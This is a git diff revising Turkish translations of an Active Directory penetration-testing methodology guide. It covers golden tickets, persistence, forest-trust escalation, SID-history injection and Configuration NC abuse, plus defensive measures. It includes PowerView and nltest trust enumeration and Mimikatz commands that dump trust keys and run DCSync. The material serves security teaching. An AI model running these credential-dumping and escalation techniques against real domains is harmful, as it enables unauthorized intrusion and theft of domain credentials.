{{#ref}} silver-ticket.md @@ -403,9 +406,9 @@ silver-ticket.md ### Altın Bilet -**Altın Bilet saldırısı**, bir saldırganın Active Directory (AD) ortamında **krbtgt hesabının NTLM hash'ine** erişim sağlamasıdır. Bu hesap, AD ağında kimlik doğrulama için gerekli olan tüm **Ticket Granting Tickets (TGT'ler)**'i imzalamak için kullanıldığı için özeldir. +Bir **Altın Bilet saldırısı**, bir saldırganın Active Directory (AD) ortamında **krbtgt hesabının NTLM hash'ine** erişim sağlamasıdır. Bu hesap, AD ağında kimlik doğrulama için gerekli olan tüm **Ticket Granting Tickets (TGT'ler)**'i imzalamak için kullanıldığı için özeldir. -Saldırgan bu hash'i elde ettiğinde, seçtiği herhangi bir hesap için **TGT'ler** oluşturabilir (Gümüş bilet saldırısı). +Saldırgan bu hash'i elde ettiğinde, istedikleri herhangi bir hesap için **TGT'ler** oluşturabilir (Gümüş bilet saldırısı). {{#ref}} golden-ticket.md @@ -413,7 +416,7 @@ golden-ticket.md ### Elmas Bilet -Bunlar, **yaygın altın bilet tespit mekanizmalarını atlayacak şekilde** sahte olarak oluşturulmuş altın biletler gibidir. +Bunlar, **yaygın altın bilet tespit mekanizmalarını atlayacak şekilde** sahte bir şekilde oluşturulmuş altın biletler gibidir. {{#ref}} diamond-ticket.md @@ -421,7 +424,7 @@ diamond-ticket.md ### **Sertifikalar Hesap Sürekliliği** -**Bir hesabın sertifikalarına sahip olmak veya bunları talep edebilmek**, kullanıcı hesabında sürekliliği sağlamak için çok iyi bir yoldur (kullanıcı parolayı değiştirse bile): +**Bir hesabın sertifikalarına sahip olmak veya bunları talep edebilmek**, kullanıcı hesabında sürekliliği sağlamak için çok iyi bir yoldur (şifreyi değiştirse bile): {{#ref}} ad-certificates/account-persistence.md @@ -429,7 +432,7 @@ ad-certificates/account-persistence.md ### **Sertifikalar Alan Sürekliliği** -**Sertifikaları kullanarak, alan içinde yüksek yetkilerle de süreklilik sağlamak mümkündür:** +**Sertifikaları kullanmak, alan içinde yüksek yetkilerle sürekliliği sağlamak için de mümkündür:** {{#ref}} ad-certificates/domain-persistence.md @@ -451,7 +454,7 @@ dsrm-credentials.md ### ACL Sürekliliği -Belirli alan nesneleri üzerinde bir **kullanıcıya** bazı **özel izinler** verebilir ve bu, kullanıcının gelecekte **yetkileri yükseltmesine** olanak tanıyabilir. +Belirli alan nesneleri üzerinde bir **kullanıcıya** bazı **özel izinler** verebilir ve bu, kullanıcının **gelecekte yetki yükseltmesine** olanak tanır. {{#ref}} acl-persistence-abuse/ @@ -459,7 +462,7 @@ acl-persistence-abuse/ ### Güvenlik Tanımlayıcıları -**Güvenlik tanımlayıcıları**, bir **nesnenin** üzerinde **yetkilere** sahip olduğu **nesneyi** **saklamak** için kullanılır. Eğer bir nesnenin **güvenlik tanımlayıcısında** sadece **küçük bir değişiklik** yapabilirseniz, o nesne üzerinde, ayrıcalıklı bir grubun üyesi olmanıza gerek kalmadan çok ilginç yetkilere sahip olabilirsiniz. +**Güvenlik tanımlayıcıları**, bir **nesnenin** üzerinde **izinleri** **saklamak** için kullanılır. Eğer bir nesnenin **güvenlik tanımlayıcısında** sadece **küçük bir değişiklik** yapabilirseniz, o nesne üzerinde, ayrıcalıklı bir grubun üyesi olmanıza gerek kalmadan çok ilginç yetkilere sahip olabilirsiniz. {{#ref}} security-descriptors.md @@ -467,7 +470,7 @@ security-descriptors.md ### İskelet Anahtar -**LSASS**'ı bellekte değiştirerek, tüm alan hesaplarına erişim sağlayan **evrensel bir parola** oluşturun. +**LSASS**'ı bellekte değiştirerek **evrensel bir parola** oluşturun ve tüm alan hesaplarına erişim sağlayın. {{#ref}} skeleton-key.md @@ -493,47 +496,47 @@ dcshadow.md ### LAPS Sürekliliği -Daha önce, **LAPS parolalarını okuma iznine sahip olduğunuzda** yetkileri nasıl yükseltebileceğimizi tartıştık. Ancak, bu parolalar **sürekliliği sağlamak** için de kullanılabilir.\ +Daha önce, **LAPS parolalarını okuma iznine sahip olduğunuzda** yetki yükseltmenin nasıl yapılacağını tartıştık. Ancak, bu parolalar **sürekliliği sağlamak** için de kullanılabilir.\ Kontrol edin: {{#ref}} laps.md {{#endref}} -## Orman Yetki Yükseltme - Alan Güven İlişkileri +## Orman Yetki Yükseltmesi - Alan Güvenleri Microsoft, **Ormanı** güvenlik sınırı olarak görmektedir. Bu, **tek bir alanın ele geçirilmesinin, tüm Ormanın ele geçirilmesine yol açabileceği** anlamına gelir. ### Temel Bilgiler -Bir [**alan güveni**](), bir **alan** kullanıcısının başka bir **alan** içindeki kaynaklara erişimini sağlayan bir güvenlik mekanizmasıdır. Temelde, iki alanın kimlik doğrulama sistemleri arasında bir bağlantı oluşturur ve kimlik doğrulama doğrulamalarının sorunsuz bir şekilde akmasına olanak tanır. Alanlar bir güven oluşturduğunda, güvenin bütünlüğü için kritik olan belirli **anahtarları** **Domain Controller'ları (DC'ler)** arasında değiş tokuş eder ve saklar. +Bir [**alan güveni**](), bir **alan** içindeki bir kullanıcının başka bir **alan** içindeki kaynaklara erişimini sağlayan bir güvenlik mekanizmasıdır. Temelde, iki alanın kimlik doğrulama sistemleri arasında bir bağlantı oluşturur ve kimlik doğrulama doğrulamalarının sorunsuz bir şekilde akmasına olanak tanır. Alanlar bir güven oluşturduğunda, güvenin bütünlüğü için kritik olan belirli **anahtarları** **Domain Controller'ları (DC'ler)** arasında değiş tokuş eder ve saklar. -Tipik bir senaryoda, bir kullanıcı **güvenilir bir alandaki** bir hizmete erişmek istediğinde, önce kendi alanının DC'sinden **inter-realm TGT** olarak bilinen özel bir bilet talep etmesi gerekir. Bu TGT, her iki alanın üzerinde anlaştığı paylaşılan bir **anahtar** ile şifrelenmiştir. Kullanıcı daha sonra bu TGT'yi **güvenilir alanın DC'sine** sunarak bir hizmet bileti (**TGS**) alır. Güvenilir alanın DC'si inter-realm TGT'yi başarılı bir şekilde doğruladığında, bir TGS vererek kullanıcıya hizmete erişim izni verir. +Tipik bir senaryoda, bir kullanıcı **güvenilir bir alandaki** bir hizmete erişmek istediğinde, önce kendi alanının DC'sinden **inter-realm TGT** olarak bilinen özel bir bilet talep etmesi gerekir. Bu TGT, her iki alanın üzerinde anlaştığı bir **anahtar** ile şifrelenmiştir. Kullanıcı, bu TGT'yi **güvenilir alanın DC'sine** sunarak bir hizmet bileti (**TGS**) alır. Güvenilir alanın DC'si inter-realm TGT'yi başarılı bir şekilde doğruladığında, bir TGS vererek kullanıcıya hizmete erişim izni verir. **Adımlar**: 1. **Domain 1**'deki bir **istemci bilgisayar**, **Domain Controller (DC1)**'den **Ticket Granting Ticket (TGT)** talep etmek için **NTLM hash**'ini kullanarak süreci başlatır. 2. DC1, istemci başarılı bir şekilde kimlik doğrulandıysa yeni bir TGT verir. 3. İstemci daha sonra **Domain 2**'deki kaynaklara erişmek için DC1'den bir **inter-realm TGT** talep eder. -4. Inter-realm TGT, iki yönlü alan güveni çerçevesinde DC1 ve DC2 arasında paylaşılan bir **güven anahtarı** ile şifrelenmiştir. +4. Inter-realm TGT, DC1 ve DC2 arasında iki yönlü alan güveni kapsamında paylaşılan bir **güven anahtarı** ile şifrelenmiştir. 5. İstemci, inter-realm TGT'yi **Domain 2'nin Domain Controller'ı (DC2)**'ye götürür. -6. DC2, inter-realm TGT'yi paylaşılan güven anahtarı ile doğrular ve geçerli ise, istemcinin erişmek istediği Domain 2'deki sunucu için bir **Ticket Granting Service (TGS)** verir. +6. DC2, inter-realm TGT'yi paylaşılan güven anahtarını kullanarak doğrular ve geçerli ise, istemcinin erişmek istediği Domain 2'deki sunucu için bir **Ticket Granting Service (TGS)** verir. 7. Son olarak, istemci bu TGS'yi sunucuya sunar; bu, sunucunun hesap hash'i ile şifrelenmiştir ve Domain 2'deki hizmete erişim sağlar. ### Farklı Güvenler -**Bir güvenin 1 yönlü veya 2 yönlü olabileceğini** belirtmek önemlidir. 2 yönlü seçeneklerde, her iki alan birbirine güvenecektir, ancak **1 yönlü** güven ilişkisi durumunda bir alan **güvenilir** ve diğeri **güvenen** alan olacaktır. Son durumda, **güvenilir alandan güvenen alana yalnızca güvenen alan içindeki kaynaklara erişim sağlayabilirsiniz**. +**Bir güvenin 1 yönlü veya 2 yönlü olabileceğini** belirtmek önemlidir. 2 yönlü seçeneklerde, her iki alan da birbirine güvenecektir, ancak **1 yönlü** güven ilişkisi durumunda bir alan **güvenilir** ve diğeri **güvenen** alan olacaktır. Son durumda, **güvenilir olan alandan güvenen alandaki kaynaklara erişim sağlayabilirsiniz**. -Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir olanıdır. Ayrıca, **Alan A**'da bu bir **Çıkış güveni**; ve **Alan B**'de bu bir **Giriş güveni** olacaktır. +Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir olanıdır. Ayrıca, **Alan A**'da bu bir **Çıkış güveni**; **Alan B**'de ise bu bir **Giriş güveni** olacaktır. **Farklı güvenen ilişkileri** -- **Ana-Çocuk Güvenleri**: Bu, aynı orman içinde yaygın bir yapılandırmadır; burada bir çocuk alanı otomatik olarak ana alanı ile iki yönlü geçişli bir güvene sahiptir. Temelde, bu, kimlik doğrulama taleplerinin ana ve çocuk arasında sorunsuz bir şekilde akabileceği anlamına gelir. -- **Çapraz Bağlantı Güvenleri**: "Kısa yol güvenleri" olarak adlandırılan bu güvenler, çocuk alanları arasında referans süreçlerini hızlandırmak için kurulur. Karmaşık ormanlarda, kimlik doğrulama referanslarının genellikle orman köküne kadar gitmesi ve ardından hedef alana inmesi gerekir. Çapraz bağlantılar oluşturarak, yolculuk kısaltılır; bu, coğrafi olarak dağılmış ortamlarda özellikle faydalıdır. +- **Ana-Çocuk Güvenleri**: Bu, aynı orman içinde yaygın bir kurulumdur; burada bir çocuk alanı otomatik olarak ana alanı ile iki yönlü geçişli bir güvene sahiptir. Temelde, bu, kimlik doğrulama taleplerinin ana ve çocuk arasında sorunsuz bir şekilde akabileceği anlamına gelir. +- **Çapraz Bağlantı Güvenleri**: "Kestirme güvenler" olarak adlandırılan bu güvenler, referans süreçlerini hızlandırmak için çocuk alanları arasında kurulur. Karmaşık ormanlarda, kimlik doğrulama referanslarının genellikle orman köküne kadar gitmesi ve ardından hedef alana inmesi gerekir. Çapraz bağlantılar oluşturarak, yolculuk kısaltılır; bu, coğrafi olarak dağılmış ortamlarda özellikle faydalıdır. - **Dış Güvenler**: Farklı, alakasız alanlar arasında kurulan bu güvenler doğası gereği geçişli değildir. [Microsoft'un belgelerine]() göre, dış güvenler, mevcut ormanın dışında, orman güveni ile bağlı olmayan bir alandaki kaynaklara erişim için yararlıdır. Güvenlik, dış güvenlerle SID filtrelemesi ile artırılır. - **Ağaç-kök Güvenleri**: Bu güvenler, orman kök alanı ile yeni eklenen bir ağaç kökü arasında otomatik olarak kurulur. Genellikle karşılaşılmasa da, ağaç-kök güvenleri, yeni alan ağaçlarını bir ormana eklemek için önemlidir; bu, benzersiz bir alan adı korumalarına ve iki yönlü geçişliliği sağlamalarına olanak tanır. Daha fazla bilgi [Microsoft'un kılavuzunda]() bulunabilir. - **Orman Güvenleri**: Bu tür bir güven, iki orman kök alanı arasında iki yönlü geçişli bir güvendir ve güvenlik önlemlerini artırmak için SID filtrelemesi uygular. -- **MIT Güvenleri**: Bu güvenler, Windows dışındaki [RFC4120 uyumlu](https://tools.ietf.org/html/rfc4120) Kerberos alanları ile kurulur. MIT güvenleri, Windows ekosisteminin dışındaki Kerberos tabanlı sistemlerle entegrasyon gerektiren ortamlara yönelik daha özel bir yapıdadır. +- **MIT Güvenleri**: Bu güvenler, Windows dışındaki, [RFC4120 uyumlu](https://tools.ietf.org/html/rfc4120) Kerberos alanları ile kurulur. MIT güvenleri, Windows ekosisteminin dışındaki Kerberos tabanlı sistemlerle entegrasyon gerektiren ortamlara yönelik daha özel bir yapıdadır. #### **Güvenen ilişkilerdeki diğer farklılıklar** @@ -549,12 +552,25 @@ Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir olanıdır Saldırganlar, başka bir alandaki kaynaklara erişim sağlamak için üç ana mekanizma kullanabilir: -- **Yerel Grup Üyeliği**: İlkeler, makinelerdeki yerel gruplara eklenebilir; örneğin, bir sunucudaki “Yöneticiler” grubu, o makine üzerinde önemli bir kontrol sağlar. -- **Yabancı Alan Grup Üyeliği**: İlkeler, yabancı alandaki grupların da üyesi olabilir. Ancak, bu yöntemin etkinliği güvenin doğasına ve grubun kapsamına bağlıdır. -- **Erişim Kontrol Listeleri (ACL'ler)**: İlkeler, belirli kaynaklara erişim sağlamak için bir **ACL**'de, özellikle bir **DACL** içindeki **ACE'ler** olarak belirtilmiş olabilir. ACL'ler, DACL'ler ve ACE'ler hakkında daha derinlemesine bilgi edinmek isteyenler için “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” başlıklı beyaz kağıt değerli bir kaynaktır. +- **Yerel Grup Üyeliği**: İlkeler, makinelerdeki yerel gruplara eklenebilir; örneğin, bir sunucudaki “Yöneticiler” grubu, onlara o makine üzerinde önemli kontrol sağlar. +- **Yabancı Alan Grup Üyeliği**: İlkeler, yabancı alandaki grupların da üyeleri olabilir. Ancak, bu yöntemin etkinliği güvenin doğasına ve grubun kapsamına bağlıdır. +- **Erişim Kontrol Listeleri (ACL'ler)**: İlkeler, belirli kaynaklara erişim sağlamak için bir **ACL**'de belirtilmiş olabilir; özellikle **DACL** içindeki **ACE'ler** olarak. ACL'ler, DACL'ler ve ACE'ler hakkında daha derinlemesine bilgi edinmek isteyenler için “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” başlıklı beyaz kağıt değerli bir kaynaktır. -### Çocuktan Ana Orman Yetki Yükseltmesi +### Dış kullanıcılar/gruplar ile izinleri bulma + +**`CN=,CN=ForeignSecurityPrincipals,DC=domain,DC=com`**'yi kontrol ederek alan içindeki yabancı güvenlik ilkelerini bulabilirsiniz. Bunlar, **bir dış alan/orman**'dan gelen kullanıcı/gruplardır. + +Bunu **Bloodhound** veya powerview kullanarak kontrol edebilirsiniz: +```powershell +# Get users that are i groups outside of the current domain +Get-DomainForeignUser + +# Get groups inside a domain with users our +Get-DomainForeignGroupMember ``` +### Child-to-Parent orman ayrıcalık yükseltmesi +```bash +# Fro powerview Get-DomainTrust SourceName : sub.domain.local --> current domain @@ -565,53 +581,65 @@ TrustDirection : Bidirectional --> Trust direction (2ways in this case) WhenCreated : 2/19/2021 1:28:00 PM WhenChanged : 2/19/2021 1:28:00 PM ``` +Alan güvenlerini listelemenin diğer yolları: +```bash +# Get DCs +nltest /dsgetdc: + +# Get all domain trusts +nltest /domain_trusts /all_trusts /v + +# Get all trust of a domain +nltest /dclist:sub.domain.local +nltest /server:dc.sub.domain.local /domain_trusts /all_trusts +``` > [!WARNING] -> **2 güvenilir anahtar** vardır, biri _Çocuk --> Ebeveyn_ ve diğeri _Ebeveyn_ --> _Çocuk_ için.\ -> Mevcut alan tarafından kullanılanı şu şekilde alabilirsiniz: +> **2 güvenilir anahtar** vardır, biri _Child --> Parent_ diğeri ise _Parent_ --> _Child_ için.\ +> Mevcut alan tarafından kullanılanı şu komutla alabilirsiniz: > > ```bash > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local > Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"' > ``` -#### SID-History Enjeksiyonu +#### SID-History Injection -SID-History enjeksiyonunu kullanarak çocuk/ebeveyn alanına Enterprise admin olarak yükselme: +SID-History injection ile çocuk/ebeveyn alanına Enterprise admin olarak yükselme: {{#ref}} sid-history-injection.md {{#endref}} -#### Yazılabilir Konfigürasyon NC'yi Sömürme +#### Yazılabilir Configuration NC'yi istismar etme -Konfigürasyon İsimlendirme Bağlamı (NC) nasıl sömürülebileceğini anlamak çok önemlidir. Konfigürasyon NC, Active Directory (AD) ortamlarında bir orman genelinde konfigürasyon verileri için merkezi bir depo görevi görür. Bu veriler, ormandaki her Alan Denetleyicisi (DC) ile çoğaltılır ve yazılabilir DC'ler, Konfigürasyon NC'nin yazılabilir bir kopyasını tutar. Bunu sömürmek için, bir DC üzerinde **SYSTEM ayrıcalıklarına** sahip olmak gerekir, tercihen bir çocuk DC. +Configuration Naming Context (NC) nasıl istismar edileceğini anlamak çok önemlidir. Configuration NC, Active Directory (AD) ortamlarında bir orman genelinde yapılandırma verileri için merkezi bir depo görevi görür. Bu veriler, ormandaki her Domain Controller (DC) ile çoğaltılır ve yazılabilir DC'ler, Configuration NC'nin yazılabilir bir kopyasını tutar. Bunu istismar etmek için, bir DC üzerinde **SYSTEM ayrıcalıklarına** sahip olmak gerekir, tercihen bir çocuk DC. **GPO'yu kök DC alanına bağlama** -Konfigürasyon NC'nin Siteler konteyneri, AD ormanındaki tüm alan bağlı bilgisayarların siteleri hakkında bilgi içerir. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile çalışan saldırganlar, GPO'ları kök DC alanlarına bağlayabilir. Bu eylem, bu sitelere uygulanan politikaları manipüle ederek kök alanı tehlikeye atabilir. +Configuration NC'nin Sites konteyneri, AD ormanındaki tüm alan katılımcısı bilgisayarların alanları hakkında bilgi içerir. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile çalışan saldırganlar, GPO'ları kök DC alanlarına bağlayabilir. Bu eylem, bu alanlara uygulanan politikaları manipüle ederek kök alanı tehlikeye atabilir. -Derinlemesine bilgi için, [SID Filtrelemesini Aşma](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) üzerine yapılan araştırmalara göz atılabilir. +Derinlemesine bilgi için, [SID Filtering'i Aşma](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) üzerine yapılan araştırmalara göz atılabilir. **Ormandaki herhangi bir gMSA'yı tehlikeye atma** -Bir saldırı vektörü, alan içindeki ayrıcalıklı gMSA'ları hedef almayı içerir. gMSA'ların şifrelerini hesaplamak için gerekli olan KDS Root anahtarı, Konfigürasyon NC içinde saklanır. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile, KDS Root anahtarına erişmek ve ormandaki herhangi bir gMSA için şifreleri hesaplamak mümkündür. +Bir saldırı vektörü, alan içindeki ayrıcalıklı gMSA'ları hedef almayı içerir. gMSA'ların şifrelerini hesaplamak için gerekli olan KDS Root anahtarı, Configuration NC içinde saklanır. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile, KDS Root anahtarına erişmek ve ormandaki herhangi bir gMSA için şifreleri hesaplamak mümkündür. -Detaylı analiz, [Altın gMSA Güven Saldırıları](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) üzerine yapılan tartışmada bulunabilir. +Detaylı analiz, [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) üzerine yapılan tartışmada bulunabilir. **Şema değişikliği saldırısı** -Bu yöntem, yeni ayrıcalıklı AD nesnelerinin oluşturulmasını beklemeyi gerektirir. SYSTEM ayrıcalıkları ile, bir saldırgan AD Şemasını değiştirerek herhangi bir kullanıcıya tüm sınıflar üzerinde tam kontrol verebilir. Bu, yeni oluşturulan AD nesnelerine yetkisiz erişim ve kontrol sağlayabilir. +Bu yöntem, yeni ayrıcalıklı AD nesnelerinin oluşturulmasını beklemeyi gerektirir. SYSTEM ayrıcalıkları ile, bir saldırgan AD Şemasını değiştirerek herhangi bir kullanıcıya tüm sınıflar üzerinde tam kontrol verebilir. Bu, yetkisiz erişim ve yeni oluşturulan AD nesneleri üzerinde kontrol sağlama ile sonuçlanabilir. Daha fazla okuma için [Şema Değişikliği Güven Saldırıları](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) üzerine bakılabilir. **DA'dan EA'ya ADCS ESC5 ile** -ADCS ESC5 açığı, ormandaki herhangi bir kullanıcı olarak kimlik doğrulamasını sağlayan bir sertifika şablonu oluşturmak için Kamu Anahtarı Altyapısı (PKI) nesneleri üzerindeki kontrolü hedef alır. PKI nesneleri Konfigürasyon NC içinde bulunduğundan, yazılabilir bir çocuk DC'yi tehlikeye atmak, ESC5 saldırılarının gerçekleştirilmesini sağlar. +ADCS ESC5 açığı, ormandaki herhangi bir kullanıcı olarak kimlik doğrulamasını sağlayan bir sertifika şablonu oluşturmak için Kamu Anahtar Altyapısı (PKI) nesneleri üzerindeki kontrolü hedef alır. PKI nesneleri Configuration NC içinde bulunduğundan, yazılabilir bir çocuk DC'yi tehlikeye atmak, ESC5 saldırılarının gerçekleştirilmesini sağlar. Bununla ilgili daha fazla ayrıntı [DA'dan EA'ya ESC5 ile](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) makalesinde okunabilir. ADCS olmayan senaryolarda, saldırgan gerekli bileşenleri kurma yeteneğine sahiptir; bu, [Çocuk Alan Yöneticilerinden Kurumsal Yöneticilere Yükselme](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) üzerine tartışıldığı gibi. -### Harici Orman Alanı - Tek Yönlü (Giriş) veya iki yönlü -```powershell +### Dış Orman Alanı - Tek Yönlü (Giriş) veya iki yönlü +```bash Get-DomainTrust SourceName : a.domain.local --> Current domain TargetName : domain.external --> Destination domain @@ -628,7 +656,7 @@ external-forest-domain-oneway-inbound.md {{#endref}} ### Dış Orman Alanı - Tek Yönlü (Çıkış) -```powershell +```bash Get-DomainTrust -Domain current.local SourceName : current.local --> Current domain @@ -639,18 +667,18 @@ TrustDirection : Outbound --> Outbound trust WhenCreated : 2/19/2021 10:15:24 PM WhenChanged : 2/19/2021 10:15:24 PM ``` -Bu senaryoda **domaininiz**, **farklı domainlerden** bir **prensipe** bazı **ayrımcı yetkiler** vermektedir. +Bu senaryoda **domain'iniz** bazı **yetkileri** **farklı domainlerden** bir prensibe **güvenmektedir**. -Ancak, bir **domain, güvenilen domain** tarafından güvenildiğinde, güvenilen domain **tahmin edilebilir bir isimle** bir **kullanıcı oluşturur** ve bu kullanıcı **güvenilen şifreyi** kullanır. Bu, **güvenilen domain içindeki bir kullanıcıya erişim sağlamak için güvenilen domainin kullanıcılarından birine erişmenin mümkün olduğu** anlamına gelir ve bu da onu listelemek ve daha fazla yetki artırmaya çalışmak için bir fırsat sunar: +Ancak, bir **domain güvenildiğinde**, güvenilen domain **tahmin edilebilir bir isimle** bir **kullanıcı oluşturur** ve bu kullanıcı **güvenilen şifreyi** **şifre** olarak kullanır. Bu, **güvenilen domain'e girmek için güvenen domain'den bir kullanıcıya erişmenin** mümkün olduğu anlamına gelir; bu da onu listelemek ve daha fazla yetki artırmaya çalışmak için kullanılabilir: {{#ref}} external-forest-domain-one-way-outbound.md {{#endref}} -Güvenilen domaini tehlikeye atmanın bir başka yolu, **domain güveni** yönünde **oluşturulmuş bir [**SQL güvenilir bağlantısı**](abusing-ad-mssql.md#mssql-trusted-links)** bulmaktır (bu çok yaygın değildir). +Güvenilen domain'i tehlikeye atmanın bir başka yolu, **domain güveninin ters yönünde** oluşturulmuş bir [**SQL güvenilir bağlantısı**](abusing-ad-mssql.md#mssql-trusted-links) bulmaktır (bu çok yaygın değildir). -Güvenilen domaini tehlikeye atmanın bir başka yolu, **güvenilen domainin bir kullanıcısının erişebileceği** bir makinede beklemektir ve bu sayede **RDP** üzerinden giriş yapmaktır. Ardından, saldırgan RDP oturum sürecine kod enjekte edebilir ve **kurbanın orijinal domainine** buradan erişebilir.\ -Ayrıca, eğer **kurban sabit diskini bağladıysa**, saldırgan **RDP oturumu** sürecinden **sabit diskin başlangıç klasörüne** **arka kapılar** depolayabilir. Bu teknik **RDPInception** olarak adlandırılmaktadır. +Güvenilen domain'i tehlikeye atmanın bir başka yolu, **güvenilen domain'den bir kullanıcının erişebileceği** bir makinede beklemektir. Ardından, saldırgan RDP oturum sürecine kod enjekte edebilir ve **kurbanın orijinal domainine** buradan erişebilir.\ +Ayrıca, eğer **kurban sabit diskini bağladıysa**, saldırgan **RDP oturumu** sürecinden **sabit diskin başlangıç klasörüne** **arka kapılar** depolayabilir. Bu teknik **RDPInception** olarak adlandırılır. {{#ref}} rdp-sessions-abuse.md @@ -660,15 +688,15 @@ rdp-sessions-abuse.md ### **SID Filtreleme:** -- Orman güvenleri boyunca SID geçmişi niteliğini kullanan saldırıların riski, varsayılan olarak tüm ormanlar arası güvenlerde etkinleştirilen SID Filtreleme ile azaltılmaktadır. Bu, Microsoft'un görüşüne göre ormanların güvenlik sınırı olarak kabul edilmesi nedeniyle, orman içi güvenlerin güvenli olduğu varsayımına dayanmaktadır. +- Orman güvenleri arasında SID geçmişi niteliğini kullanan saldırıların riski, varsayılan olarak tüm ormanlar arası güvenlerde etkinleştirilen SID Filtreleme ile azaltılmaktadır. Bu, Microsoft'un görüşüne göre ormanların güvenlik sınırı olarak kabul edilmesi nedeniyle, orman içi güvenlerin güvenli olduğu varsayımına dayanmaktadır. - Ancak, bir sorun var: SID filtreleme, uygulamaları ve kullanıcı erişimini etkileyebilir, bu da bazen devre dışı bırakılmasına yol açabilir. ### **Seçici Kimlik Doğrulama:** -- Ormanlar arası güvenler için Seçici Kimlik Doğrulama kullanmak, iki ormandan gelen kullanıcıların otomatik olarak kimlik doğrulamasını sağlamaz. Bunun yerine, güvenilen domain veya ormandaki domainlere ve sunuculara erişim için açık izinler gereklidir. +- Ormanlar arası güvenler için Seçici Kimlik Doğrulama kullanmak, iki ormandan gelen kullanıcıların otomatik olarak kimlik doğrulamasını sağlamaz. Bunun yerine, güvenen domain veya ormandaki domainlere ve sunuculara erişim için açık izinler gereklidir. - Bu önlemlerin, yazılabilir Yapılandırma İsimlendirme Bağlamı (NC) istismarına veya güven hesaplarına yönelik saldırılara karşı koruma sağlamadığını belirtmek önemlidir. -[**Domain güvenleri hakkında daha fazla bilgi için ired.team'i ziyaret edin.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) +[**Domain güvenleri hakkında daha fazla bilgi için ired.team'e bakın.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) ## AD -> Azure & Azure -> AD @@ -682,19 +710,19 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move ### **Kimlik Bilgisi Koruma için Savunma Önlemleri** -- **Domain Yöneticileri Kısıtlamaları**: Domain Yöneticilerinin yalnızca Domain Denetleyicilerine giriş yapmalarına izin verilmesi önerilir, diğer ana bilgisayarlarda kullanılmamalıdır. -- **Hizmet Hesabı Yetkileri**: Hizmetler, güvenliği sağlamak için Domain Yöneticisi (DA) yetkileri ile çalıştırılmamalıdır. +- **Domain Yöneticileri Kısıtlamaları**: Domain Yöneticilerinin yalnızca Domain Denetleyicilerine giriş yapmalarına izin verilmesi önerilir; diğer ana bilgisayarlarda kullanılmamalıdır. +- **Hizmet Hesabı Yetkileri**: Hizmetler, güvenliği korumak için Domain Yöneticisi (DA) yetkileri ile çalıştırılmamalıdır. - **Geçici Yetki Sınırlaması**: DA yetkileri gerektiren görevler için süreleri sınırlı olmalıdır. Bu, `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` ile gerçekleştirilebilir. ### **Aldatma Tekniklerini Uygulama** -- Aldatma uygulamak, şifrelerin süresi dolmayan veya Delegasyon için Güvenilir olarak işaretlenmiş sahte kullanıcılar veya bilgisayarlar gibi tuzaklar kurmayı içerir. Detaylı bir yaklaşım, belirli haklara sahip kullanıcılar oluşturmayı veya bunları yüksek yetkili gruplara eklemeyi içerir. +- Aldatma uygulamak, şifrelerin süresi dolmayan veya Delegasyon için Güvenilir olarak işaretlenmiş sahte kullanıcılar veya bilgisayarlar gibi tuzaklar kurmayı içerir. Detaylı bir yaklaşım, belirli haklara sahip kullanıcılar oluşturmayı veya bunları yüksek yetki gruplarına eklemeyi içerir. - Pratik bir örnek, `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` gibi araçlar kullanmaktır. - Aldatma tekniklerini dağıtma hakkında daha fazla bilgi [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception) adresinde bulunabilir. ### **Aldatmayı Tanımlama** -- **Kullanıcı Nesneleri için**: Şüpheli göstergeler arasında alışılmadık ObjectSID, nadir oturum açma, oluşturma tarihleri ve düşük hatalı şifre sayıları bulunmaktadır. +- **Kullanıcı Nesneleri için**: Şüpheli göstergeler arasında alışılmadık ObjectSID, nadir oturum açma, oluşturma tarihleri ve düşük hatalı şifre sayıları bulunur. - **Genel Göstergeler**: Potansiyel sahte nesnelerin özelliklerini gerçek nesnelerin özellikleriyle karşılaştırmak, tutarsızlıkları ortaya çıkarabilir. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) gibi araçlar, bu tür aldatmaları tanımlamaya yardımcı olabilir. ### **Algılama Sistemlerini Aşma** diff --git a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md index c0fd56648..a4ab813f7 100644 --- a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md +++ b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md @@ -91,11 +91,11 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive ### Powershell Bu durumda powershell 